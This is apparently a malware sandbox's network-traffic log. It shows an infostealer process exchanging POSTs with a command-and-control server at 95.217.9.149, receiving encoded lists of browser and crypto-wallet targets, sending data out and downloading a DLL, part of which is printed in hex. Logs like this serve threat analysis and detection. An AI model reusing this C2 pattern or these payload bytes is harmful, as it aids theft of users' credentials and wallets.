2024-04-24 08:27:20 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 08:27:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:20 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAEBKJDHDAFIECBAKKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:20 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 38 32 66 37 36 38 30 32 33 63 37 64 31 38 63 39 34 36 30 63 33 39 65 32 61 39 38 65 35 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 42 4b 4a 44 48 44 41 46 49 45 43 42 41 4b 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="token"ce82f768023c7d18c9460c39e2a98e52------GDAEBKJDHDAFIECBAKKJContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------GDAEBKJDHDAFIECBAKKJCont
2024-04-24 08:27:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 08:27:21 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:22 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:22 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 38 32 66 37 36 38 30 32 33 63 37 64 31 38 63 39 34 36 30 63 33 39 65 32 61 39 38 65 35 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"ce82f768023c7d18c9460c39e2a98e52------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------IJKJJKFHIJKKFHJJECBACont
2024-04-24 08:27:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 08:27:23 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:24 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBK User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 7497 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:24 UTC	7497	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 38 32 66 37 36 38 30 32 33 63 37 64 31 38 63 39 34 36 30 63 33 39 65 32 61 39 38 65 35 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="token"ce82f768023c7d18c9460c39e2a98e52------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------GIJJKFCGDGHDHIECGCBKCont
2024-04-24 08:27:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 08:27:25 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:26 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:26 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:26 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 08:27:26 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 08:27:27 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:30 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:30 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 38 32 66 37 36 38 30 32 33 63 37 64 31 38 63 39 34 36 30 63 33 39 65 32 61 39 38 65 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"ce82f768023c7d18c9460c39e2a98e52------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------ECBAEBGHDAECBGDGCAKECont
2024-04-24 08:27:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 08:27:31 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	104.21.65.24	443	7252	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:45 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 08:27:46 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 08:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=udw0o1OGlcngCZ6CirJjbDzTmDYtoZ3bvS0xhOdUWrgGPMjOkVWcwhVoQwbtlpWgbTZ0XK4SUQG%2F1fiMaIEpqMiwpWY9tEX1Wp3mXu%2FnvMcdDWOfwlwVITKhrxMz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8794b74a182a526f-LAX alt-svc: h3=":443"; ma=86400
